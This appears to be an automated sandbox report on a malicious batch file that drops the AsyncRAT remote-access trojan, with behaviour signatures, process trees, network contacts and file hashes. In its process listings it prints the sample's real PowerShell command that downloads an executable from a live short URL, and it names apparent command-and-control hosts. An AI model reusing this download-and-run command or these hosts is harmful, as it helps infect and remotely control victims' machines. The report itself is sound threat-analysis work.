Analysis Overview
SHA256
5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb
Threat Level: Known bad
The file file-ly5.bat was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Asyncrat family
Async RAT payload
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
System Network Configuration Discovery: Internet Connection Discovery
Runs ping.exe
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-29 23:28
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-29 23:28
Reported
2024-10-29 23:28
Platform
win10v2004-20241007-en
Max time kernel
14s
Max time network
18s
Command Line
Signatures
AsyncRat
Asyncrat family
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\file.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\file.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"
C:\Users\Admin\AppData\Local\Temp\file.exe
"file.exe"
C:\Windows\system32\PING.EXE
ping localhost -n 3
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe"
C:\Windows\system32\PING.EXE
ping localhost -n 3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | u.to | udp |
| RU | 195.216.243.155:443 | u.to | tcp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.135.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | 155.243.216.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.135.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | excellent-waiver.gl.at.ply.gg | udp |
| US | 147.185.221.23:43655 | excellent-waiver.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
Files
memory/2912-0-0x00007FFC0D293000-0x00007FFC0D295000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ny31slmh.q1n.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2912-1-0x0000015E1B360000-0x0000015E1B382000-memory.dmp
memory/2912-11-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp
memory/2912-12-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp
memory/2912-16-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\file.exe
| MD5 | d435bd69c788f8f42a73158ea2526716 |
| SHA1 | dc640272ce6c4a1bf8487ab917fd175b034de7aa |
| SHA256 | 98208142a545c388e0fc0efcf8a6b203673412c0510ab330c47337fa74bb4dc2 |
| SHA512 | 729200f3d1e30f90f81defb6e392a90d54509fdf55238971e7ba1df2663fb9f042490a8329bad5c02a8768e956d41d1180049414802f08a6974b35f03d953b62 |
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe
| MD5 | 29b38d4c415d9b464f1ff073e0a43913 |
| SHA1 | ddf87b649f725c62ebd42914c71b2e446f1aeddf |
| SHA256 | 6fd7acee70eef7574951bc9def49e41c2fde7aea50141672dcb1b2c79f510549 |
| SHA512 | 3f5801764e4c124c3b5cea11ddc3a79eb5cf37cb1bc50059ba2f9010200e717b36c726409595a1064dcf364eeb77fd801d8ef6ca73546a498e0dff5d9e668897 |
memory/4664-32-0x0000000000630000-0x0000000000646000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-29 23:28
Reported
2024-10-29 23:29
Platform
win7-20240903-en
Max time kernel
13s
Max time network
20s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1684 wrote to memory of 2912 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1684 wrote to memory of 2912 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1684 wrote to memory of 2912 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | u.to | udp |
| RU | 195.216.243.155:443 | u.to | tcp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
Files
memory/2912-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp
memory/2912-5-0x000000001B510000-0x000000001B7F2000-memory.dmp
memory/2912-7-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp
memory/2912-6-0x0000000002040000-0x0000000002048000-memory.dmp
memory/2912-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp
memory/2912-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp
memory/2912-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp
memory/2912-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Cab6F68.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
memory/2912-28-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp